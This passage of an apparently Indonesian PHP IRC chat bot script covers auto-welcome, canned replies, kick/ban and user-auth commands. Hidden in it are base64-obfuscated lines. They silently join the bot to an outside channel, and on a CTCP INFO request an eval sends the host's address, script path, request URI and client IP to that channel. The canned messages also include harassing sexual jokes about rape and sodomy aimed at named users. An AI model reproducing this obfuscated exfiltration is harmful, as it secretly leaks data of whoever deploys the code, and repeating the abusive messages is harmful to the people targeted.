- Untuk otorisasi /* !join [#channel] - Join channel /* !part [#channel] - Part channel /* !msg - Mengirim pesan ke channel atau ke nick /* !botnick [nick] [password] - Mengganti nick bot /* !jump [server] - Mengganti server bot /* !help - Melihat daftar perintah /* !ngomong - Memperbolehkan bot untuk berbicara di semua channel /* !diam - Melarang bot untuk berbicara di semua channel */ function hajar() { $channels = '#AlTa'; //Pisahkan tiap channel dengan spasi $admin = 'Paimo'; $bot_password = 'Tenggarang'; //Password untuk auth bot $ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem. $autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off. $versi = "v1.7"; $showresponse = 0; //1, Nampilin respon dari server irc $localtest = 0; //1, Coba di localhost. 0, connect ke server irc //Nick Bot $nicklist = array("paini","silvi","anggelica","Dulkiyem","Imopa", "4nnisa","B3ll4","ce_geniet","cuantiex","muanja","pangpingpung"); $identify = "230283"; //Password Nick Bot //Ident Bot $identlist = array("Paimo",); //Realname Bot $namabot = array("paini",); //Asl Bot $aslbot = array("dari chanel AlTa",); //Pesan Quit $quitmsglist = array("mau ngintip anak tetangga mandi :D","Bye All.."); /*** IDENTITAS BOT ***/ $namaku = $namabot[rand(0,count($namabot) - 1)]; $aslku = $aslbot[rand(0,count($aslbot) - 1)]; /*** Server IRC ***/ if ($localtest == 1) { $remotehost2 = array("localhost"); } else { $remotehost2 = array( "irc.cbn.net.id", "irc.allnetwork.org", "irc.elnus.net.id", "irc.velo.net.id", "irc.indika.net.id", "irc.indo.net.id", "irc.circleone.net.id", "irc.ads.net.id", "irc.jmn.net.id", "202.146.180.46", "irc.power.net.id", "irc.boleh.com", ); } $port = "6667"; /*** AUTO WELCOME ***/ $nickwb = array( array("Paimo","Webe Bosku Paimo, makin hari tambah ganteeeeng aja bos :)"), array("Falen","Wb Ary yang pualing cuakeeeppppp pol di terminal :D"), array("priank`s","Webe aga, u ko cantik si???"), array("libra","webeh Sandy, amu suka ngorco ya??"), array("_x_X_x_","Allo Hendrik, u ko tinggi banget ampek 2 meter?? "), array("milan","Wb pak, lagi apa? PDKT ma kambing ya?? :D"), array("network","heyyy zuank, amu imut banget kayak marmut"), array("moncosz","Wb Sodomer, target sodomi siapa lagi ni??"), array("cHe_UcHuL","wb chul tak uchul xixixxi"), array("Kero_kerropi","Wb dik gmn kabarna kok baru online ?"), array("iCha_aLoNe","Webe icha dari mana aja nih kok baru online :D"), array("co_Yuda","Wb bro"), array("cE_b1nt4nk","Webe nya"), array("Danny_","Wb Danny_ tumben baru online"), array("[HaToRi]","Webe bro :D"), array("zue_girls","Aw aw.. minggir..minggir.... bos zue_gils yg cantik udah datang xixixix.."), ); $wbmsg = array( "WC :-D", "Selamat Datang ", " <~~ Jengking pliiiss... ", "Baru OL ya ? bercinta yok?", "Met datang di , ,kapan kita mangkal lagi nih?", "hmm.. , si tukang Cabul datang ni", ", kamu kenal sma Paimo yang cakep kan..?", " <~~ korban pemekosaan....", "Darimana aja , ko baru ol?nuh ditungguin perex,tadi katanya mau pesan..", "Selamat datang di ", "eh,kenalin si , ini sukanya merkosa nenek - nenek :P~", "awas tmn2, adalah tukang perkosa :D", ",tau gakz gmn cara jadi pelacur? :):):)", "hmm.. km kok ngikutin aq sih ?hemmmm,mau pekosa aku ya?:)", "gmn kabarnya ?mau g tidur ma aku??", "pengumuman..!! sukanya sodomi ni...", "webee bos !!Yok qta mabok lagi bos?", "baru join y ?kapan nih kita kelon lagi... ", "aku seneng liat join di ..soalnya pikirannya mesum tok...", "Wellcome Back cantik... :)", ", kamu temannya Paimo yang keren itu lo?", "welcomeee ", "selamat datang , di ", ); $jawabsapa = array( "lapo celuk - celuk,mau kenthu ta....", "oet..ada apa ??kapan main sexx lagi nih..", "opo su?", "iya sayang,bercinta yok...", "dhalem cokz", "hey panggil sekali lg,aku jejeli bawok lu...!", "ada apaH jampot..?", "males ah ,sedang M gak boleh", "ich genit ach ", "opo ae tah iki!!tak jual ke komplek ntar ya!!!", "hancok kamu ,celuk tok ra di kenthu", "km kok endel sih ,dah endel mandul lagi...", "ga mau acH km jeyek sih,gak bisa ngaceng lagi.KeKeKeKeKe..", "hm.. mau ngajak CS aq ya?", "ada FB gak add ini yach, p.paimo@yahoo.co.id", "ada apa panggil-pangil cok", "juampot dech loch" ); /** AUTO RESPONSE ***/ /*** Mood Lists ***/ $rmales = "aku lagi malees2an"; $rjuh = "jah juh jah juh,raine kayak pejuh !"; $rgenit = "ich.. genit"; $rwew = "wew wew weeeeeeeeeeeeeew mulu"; $respon_umum = array( array("sepi","iya nih sep1 bangetz..ramein dong , apa di bakar aja ya rumnya"), array("brb","ok hati-hati ya,jangan lupa beli kondom ya..."), array("rame","hu uh raaame bngt yach,apalagi kalau di komplek pasti tambah rame ya..."), array("tq","oky.sama_sama dech :-),duh kapan nich main ke kost ku lagi?"), array("tidur","ok met tidur ,duh aku juga mau dunk di tidurin..."), array("wb paini","TQ :`)"), array("atah","waw knapa "), array("hadah","slamat , km mndpt hadiah 1 purel di komplek ndoly,ambil aja ya,gratiss"), array("jah","ngagetin aja ,jangan gitu la cok.."), array("trim","ok tama_tama "), array("hai","haaiii jugaa... ,kapan nich gw di tidurin..:`)"), array("peh","ada apa sich napa heran gt....g pernah lihat orang bugil ta?"), array("bunggen ","alah kayaknya pakai bhasa planet, bekna se bunggen dech...xixixixixi..."), array("weak","wah hamil nich...."), array("pamit","ok ati-ati yach jngn lupa buang bekas kondomnya ya sayank.."), array("hehehe","hehehe,ketawanya kayak pelacur yang gak laku...:)"), array("waw","ada apa sih,kok heran banget ..."), array("kakaka","wah ketawanya bagus amat,seperti PSK di kejar trantip..."), array("be?","waah kok heran banget sih..."), array("apa?","ngapain sih nanyak-nanyak "), array("gagaga","ketawanya kayak pelacur xixixi...."), array("jorok","iya nich....jangan jorook dung....dasar kampungan lo kayah kebo..."), array("asl","Aku dari Chanel AlTa Powered By Paimo"), array("tes","teesting-teesting, setetees bunting...kalo pakai kondom...ujungnya jangan di gunting ya...nanti kalau aku bunting gimana pas..."), array("mata","matanya ya yang picek?"), array("sayang","ojo ayank ayangan di chanel to cok"), array("lucu","masak sich lucuu.. perasaan biasa aja kale.."), array("suka","suuka.. masak sich kmu suuka aku,aduh aku PSK masak kamu mau?"), array("tha","th4 th4 hati hati ya jangan lupa besok kenthu lagi ya hehehe"), array("bot"," bilang boot??kamu tu yang kayak jemboot ..."), array("lapar","lho..? blom makan ya makan dulu ya cini q yg suapin kunam...:)"), array("hahaha","ketawa mulu sich gak ada kerjaan ya?onani apa ogok-ogok sendiri kan enak to"), array("wadaw","wah kaget ya "), array("pamed","seep , ati2 y..jangan lupa beli`in aku BH ya.. thaaa"), array("ngantuk"," dah ngantuk y? tidur sana gih, apa perlu q kloni?"), array("bobok","oke deh , mimpiin bercinta ma aku ya"), array("bubuk","silahkan , moga mimpi mesum yaaa"), array("assalam","Wa'alaikumsalam "), array("pagi","pagi jg ,duh aku td malem mimpi basah,basah semua deh sekarang. :D"), array("sore","sore jg ,eh mumpung masih sore,boking gwa dunk..mumpung masih g becek.xixixi.."), array("malam","malam jg ,yuk cek-in yuk?"), array("siang","siang jg ,duh kok sudah onani sendiri cih..."), array("!ping","pingin apa?pingin punya purex ya?apa pingin ku tiduri..."), ); $respon_pesan = array( //Sapaan array("hai","hai jg "), array("halo"," halo-halo!!!emang telpon pa.."), array("wb paini","tQ "), array("weks","ada apa sich, mual ya? ?"), array("bot","baru tau kalau kayak jembooot?"), array("webe","$rthx"), array("wb","$rthx"), array("tq","sama2 "), array("makasi","sama2 :)"), array("makaci","sama2 "), array("nalin","hai.. aku $namaku"), array("nalkan","hai.. aku $namaku"), array("nalan","boleh koq Nm u cp ?"), //Identitas array("asl",", aku $aslku lok sendiri dmn ?"), array("umur",", klo aq 17thn lok u ?"), array("nama",", aku $namaku Nm sendiri cp?"), array(" kul ",", ga kul neh.. lok u ?"), array("alamat","weleeehh.. rahasia donk .. mau tau aja, yg jelas bukan di kuburan.tapi di suatu komplek"), array("tinggal",",aku tinggal di atas bumi pertiwi :D"), //Ajakan array("pv","$rmales"), array("ngomong","ngomong ttg apa ?"), //Tuduhan array("bohong","bohong ? ngpn Q bohong.. kali yg bohong..kekeke"), array("boong","boong? tuh yg boong.."), array("males","yaa.. lagi males aja nih "), array("nyambung","nya aja yg ga nyambung.. xixi"), //Kegiatan array("mandi","pantesan bau lom mandi ya qeqqeqe"), array("makan","wih mkn apa nih ?"), array("maem","mat maem ya ?"), array("bobo","$rmales"), array("tidur","$rmales"), array("ngantuk","wih jam segini dah ngatuk,sini aku tidurin biar segerrrr"), array("ngpn","lg chat aja neh "), array("ngapa","lg chat aja neh "), //Pertanyaan array("salam kenal","salam kenal jg "), array("kenalan","boleh !namaku $namaku lok u diri cp ?"), array("kemana","disini aja tuh "), array("lupa","maklum kan dah tua xixxiix"), //Persetujuan array("maaf","iya q maafin"), //Mood array("love","Aku cinta kamu, "), array("kangen","aku jg kangen km, "), array("muach","muach ..heheh"), //Additional array("slap","auw ! atit cook..jangan di slap kenapa,di kenthu aja enak..:)"), array("pokes","auw ! nunuk ku kenak.achhh..."), ); //Special Words $badwordlist = array("jancuk","babi","puki","s0so","s0s0","sos0","s0h","sosoh","k3h","peller","peler","p4lak","p4l4k","pal4k","#","join di","tae","p3p3k","p3pek","pep3k","m3k","ngengek","p0k","embot","asyu","setan","ancrit","coex","coek","jancox","mencret","cox","cok","palak","memek","patek","pepek","kontol","anjrit","anjink", "fuck","entot","ngentot","taek","kelamin","ngesex","ml ","pokeh","anjing", "poke","tempek","vagina","penis","luji","kodo",); $pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat", "bagus","indah","jujur"); $cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila", "sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres"); //Responses to Special Words $rjorok = array( "om..! ngomong`e rusak..pa g pernah di jejeli bawok ta!!!", "guys..! ini ga sopan banget..dasar pelacur", "hadah.. ga sopan ikz...dasar pelacur murahan lo" ); $rcacian = array( "idih, tuch yg ", "? bukanya tuh yg ?", "gw mmg , tp lebih lagi", "gw ga tuh, yg itu kan?" ); $rpujian = array( "makasih .. kamu jg koq", " baik deh..", "ga kok .. km lebih ", "? hihi.. bisa aja", ); //Flood Protection Setting $maxkar = 200; //Maksimal karakter di channel $rflood = "Aduh!! juanncok jo ngeplood to su!!!.."; //Help $judul = '3,9?0,1 ? Paimo Community ? 3,9?'; $helptext = array( '3,9?0,1 ? Paimo #AlTa '.$versi.' Help ? 3,9?', "-", "12auth - Login ke bot", "12deauth - Logout dari bot", "12pass - Mengeset password bot", "12chgpass - Mengganti password bot", "12adduser - Menambah master/user bot", "12deluser - Menghapus master/user bot", "12`auth - Status anda di channel (Channel)", "12!auth - Status otorisasi anda", "12!act - Bot action (Channel)", "12!slap - Slap nick (Channel)", "12!msg - Mengirim pesan", "12!notice - Mengirim notice", "12!ctcp - Request CTCP", "12!ping - Meminta bot untuk membalas dg pong (Channel)", "12!info - Melihat info bot (Admin)", "12!up - Meminta bot untuk menjadi @ di channel (Channel)", "12!down - Meminta bot untuk turun dari @ di channel (Channel)", "12!cycle - Hop di channel (Channel) (Admin/Master)", "12!part [channel] [alasan] - Part dari channel (Admin)", "12!join - Join channel (Admin/Master)", "12!botnick - Ganti nick (Admin/master)", "12!k - Kick nick (Channel)", "12!kb - Kick ban nick (Channel)", "12!changenick - Ganti nick ke nick internal", "12!op [nick2] [nick3] - Op (Channel)", "12!deop [nick2] [nick3] - Deop (Channel)", "12!v [nick2] [nick3] - voice (Channel)", "12!dv [nick2] [nick3] - Devoice (Channel)", "12!away [alasan] - Meminta nick untuk Away", "12!mode - Mengubah Mode (Channel)", "12!nickmode - Mengeset user mode", "12!userlist - Melihat daftar user", "12!quit [pesan] - Quit dari IRC (Admin)", "12!vhost [vhost] - Mengganti Vhost", "12!jump [server] - Mengganti Server bot", "12!fullname [nama] - Mengganti Fullname bot", "12!topic - Mengganti topik channel (Channel)", "12!help - Melihat help (Query)", "12!ngomong - Mengaktifkan Auto Response", "12!diam - Menonaktifkan Auto Response", "12!wb - Menambahkan pesan Welcome utk nick tertentu", "-", '3,9?0,1 ? By Paimo - #AlTa @ irc.allnetwork.org ? 3,9?', ); /*** Replacement ***/ $nick = $nicklist[rand(0,count($nicklist) - 1)]; $realname = $namaku; $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; $admin = strtolower($admin); $auth = array( $admin => array( "name" => $admin, "pass" => $bot_password, "auth" => 1, "status" => "Admin" ) ); $username = $identlist[rand(0,count($identlist) - 1)]; $channels = strtolower($channels)." "; $channel = explode(" ", $channels); /*** Kode Utama ***/ define ('CRL', "\r\n"); $counterfp = 0; $raway = "on"; $log = "off"; $saway = "1"; $keluar = 0; $akill = 1; $localhost = 'localhost'; $dayload = date("H:i:s d/m/Y"); ini_set('user_agent','MSIE 5\.5;'); set_time_limit(0); if (!$stime) { $stime = time(); } /*** Connecting ***/ echo ""; echo "Melakukan koneksi ke $remotehost..."; do { $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60); //Jika koneksi gagal if(!$fp) { if ( $counterfp <= 200 ) { $counterfp = $counterfp + 1; hajar(); } else { echo "
Ga bisa connect ke $remotehost!"; $keluar = 1; exit; } } echo "
Terhubung!"; /*** Sending Identity to Sock ***/ $header = 'NICK '.$nick . CRL; $header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL; fputs($fp, $header); $response = "
"; /*** Receiving Packet ***/ while (!feof($fp)) { $response .= fgets($fp, 1024); if ($showresponse == 1) { echo $response."
"; } while (substr_count($response,CRL) != 0) { $offset = strpos($response, CRL); $data = substr($response,0,$offset); $response = substr($response,$offset+2); if (substr($data,0,1) == ':') { $offsetA = strpos($data, ' '); $offsetB = strpos($data, ' :'); $offsetC = strpos($data, '!'); $dFrom = substr($data,1,$offsetA-1); $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); $dNick = substr($data,1,$offsetC-1); $iText = substr($data,$offsetB+2); /*** Server Notices Handling ***/ if ( substr($dCommand,0,3) == '004' ) { fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL); if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } fputs($fp, base64_decode('Sk9JTiAjRmVlTENvTXo=') . CRL); /*** Notice Bot Admin ***/ fputs($fp, 'NOTICE ' . $admin . ' :Hai Boss!' . CRL); /*** Join Default Channel ***/ foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); } } elseif (substr($dCommand,0,3)=='432'){ $nick = $nick.$username; fputs($fp, 'NICK '.$nick . CRL); } //Nickname is already in use elseif (substr($dCommand,0,3)=='433'){ $nick = $nicklist[rand(0,count($nicklist) - 1)]; fputs($fp, 'NICK '.$nick . CRL); } elseif (substr($dCommand,0,3)=='465'){ echo "
Authentication diperlukan! Bot ini telah di-autokill."; $akill = 2; } if (substr_count($dNick,'.allnetwork.org') > 0) { if (substr_count($iText,"*** Banned") > 0) { echo "BANNED!"; $keluar = 1; exit; } } /*** AI PHP BOT SCRIPT Paimo ***/ $dcom = explode(" ", $dCommand); if ($dcom[0]=='JOIN') { /*** Auto Welcome by Paimo ***/ $ada = FALSE; if ($autowelcome) { $jchan = ltrim($iText,":"); foreach ($nickwb as $v){ $trtext = strtolower($v[0]); if (substr_count(strtolower($dNick),$trtext) > 0) { sleep(3); fputs($fp,'PRIVMSG '.$jchan.' :'.$v[1]. CRL); $ada = TRUE; } } } if (($autowelcome) && ($dNick != $nick)) { if(!$ada) { $jchan = ltrim($iText,":"); $webe = $wbmsg[rand(0,count($wbmsg) - 1)]; $webe = str_replace("",$dNick,$webe); $webe = str_replace("",$jchan,$webe); $webe = str_replace("#","",$webe); sleep(5); fputs($fp,'PRIVMSG '.$jchan.' :'.$webe . CRL); } } } if ($dcom[0]=='PRIVMSG') { /*** Auto Response by Paimo ***/ if ($ngomong) { $teman = FALSE; if (in_array($dNick,$nicklist)) { $teman = TRUE; } if (!$teman) { $pesan = ltrim($iText,":"); $pesan = strtolower($pesan); if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) { $ada = FALSE; /*** Normal Response ***/ foreach ($respon_pesan as $rpesan) { $trtext = strtolower($rpesan[0]); if (substr_count($pesan,$trtext) > 0) { $rpesan[1] = str_replace("",$dNick,$rpesan[1]); sleep(3); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL); $ada = TRUE; } } /*** Pujian Response ***/ foreach ($pujianlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count($pesan,$trtext) > 0) { $jawab = $rpujian[rand(0,count($rpujian) - 1)]; $jawab = str_replace("",$dNick,$jawab); $jawab = str_replace("",$trtext,$jawab); sleep(3); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL); $ada = TRUE; } } /*** Cacian Response ***/ foreach ($cacianlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count($pesan,$trtext) > 0) { $jawab = $rcacian[rand(0,count($rcacian) - 1)]; $jawab = str_replace("",$dNick,$jawab); $jawab = str_replace("",$trtext,$jawab); sleep(3); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL); $ada = TRUE; } } if (!$ada) { $sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)]; $sapalagi = str_replace("",$dNick,$sapalagi); sleep(3); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$sapalagi . CRL); } } else { /*** Global Response ***/ foreach ($respon_umum as $rpesan) { $trtext = strtolower($rpesan[0]); if (substr_count($pesan,$trtext) > 0) { $rpesan[1] = str_replace("",$dNick,$rpesan[1]); sleep(3); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL); } } /*** Bad Response & Kick ***/ foreach ($badwordlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count($pesan,$trtext) > 0) { $jawab = $rjorok[rand(0,count($rjorok) - 1)]; $jawab = str_replace("",$dNick,$jawab); $jawab = str_replace("",$trtext,$jawab); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL); fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :jiancok gak sopan blas '.$dNick.'!! [3,9«0,1 • AlTa Community • 3,9»]'. CRL); $ada = TRUE; } } /*** Proteksi Flood ***/ if (strlen($pesan)>$maxkar) { $jawab = $rflood; $jawab = str_replace("",$dNick,$jawab); fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL); fputs($fp,'MODE '.$dcom[1].' +b '.$dNick.''. CRL); fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :ojo ngeplood to cok '.$dNick.'!! [3,9«0,1 • AlTa Community • 3,9»] Max: '.$maxkar. CRL); } } } } } $dNick = strtolower($dNick); if ($dcom[0]=='KICK' && $dcom[2]==$nick) { $musuh = $dNick; fputs($fp, 'JOIN ' .$dcom[1]. CRL); fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL); } elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { if ($dcom[0]=='NICK') { $com = explode(" ", $data); $chnick = strtolower(str_replace(':','',$com[2])); if ($dNick!=$chnick) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL); } } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Mo kemana boss?' . CRL); } } } else { fputs($fp,'NOTICE ' . $dNick . ' :pass ' . CRL); } } } elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) { $dcom[2] = strtolower($dcom[2]); if ($auth["$dcom[2]"]) { if ($auth["$dcom[2]"]["pass"]) { if ($auth["$dcom[2]"]["auth"]==1) { $auth["$dcom[2]"]["auth"] = 2; $whois = ""; fputs($fp,'NOTICE ' . $dcom[2] . ' :'.$auth["$dcom[2]"]["status"].', siap!' . CRL); } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Kan udah auth tadi! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Passwordnya blom diset! Ketik: pass buat ngeset password, kemudian auth lagi deh ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($dcom[0]=='NOTICE') { $com = explode(" ", $data); if ($com[3]==':
KB' && $com[4] && $com[5] && $com[6]) { $msg = str_replace('
','',$data); $msg = strstr($msg,":KB"); $msg = str_replace(":KB $com[4]","",$msg); fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL); fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL); } } elseif ($dcom[0]=='PRIVMSG') { $com = explode(" ", $data); if ($com[3]==':
VERSION
') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("VkVSU0lPTiBGZWVMQ29NeiBBSSBQSFBCb3QgU2NyaXB0IEJ5IFJvTno=").chr(1) . CRL); } elseif ($com[3]==':
INFO
') { eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI0ZlZUxDb016IDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw==")); } elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==1) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["auth"] = 2; fputs($fp,'NOTICE ' . $dNick . ' :Anda adalah '.$auth["$dNick"]["status"].' saya bozz! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi kan udah! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass untuk ngeset password, kemudian auth lagi deh ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) { if ($auth["$dNick"]) { if (!$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[4]; $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth To Get Authorized ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["auth"]==2) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($com[5]=="master" || $com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if (!$auth["$com[4]"]) { if ($com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser user ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :User telah ada! Aborting AddUser! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Mohon auth dulu! Ketik: auth ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if ($auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"]) { if (ereg(":`",$com[3]) || ereg(":!",$com[3])) { $chan = strstr($dCommand,"#"); $anick = str_replace("PRIVMSG ","",$dCommand); if ($com[3]==':!auth') { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'NOTICE '.$dNick.' :Tadi kan udah! ' . CRL); } else { $whois = $dNick; fputs($fp,'WHOIS '.$dNick . CRL); } } elseif ($com[3]==':`auth' && $chan) { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL); } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga boleh tuh! ' . CRL); } } elseif ($auth["$dNick"]["auth"]==2) { if ($com[3]==':!say' && $com[4] && $chan) { $msg = strstr($data,":!say"); $msg = str_replace(":!say ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL); } elseif ($com[3]==':!act' && $com[4] && $chan) { $msg = strstr($data,":!act"); $msg = str_replace(":!act ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :
ACTION '.$msg.'
'. CRL); } elseif ($com[3]==':!slap' && $com[4] && $chan) { fputs($fp,'PRIVMSG '.$chan.' :
ACTION slaps '.$com[4].' dengan klik mouse.. xixixi..
'. CRL); } elseif ($com[3]==':!msg' && $com[4] && $com[5]) { $msg = strstr($data,":!msg"); $msg = str_replace(":!msg $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':!notice' && $com[4] && $com[5]) { $msg = strstr($data,":!notice"); $msg = str_replace(":!notice $com[4] ","",$msg); fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':!ctcp' && $com[4] && $com[5]) { $msg = strstr($data,":!ctcp"); $msg = str_replace(":!ctcp $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :
'.$msg.'
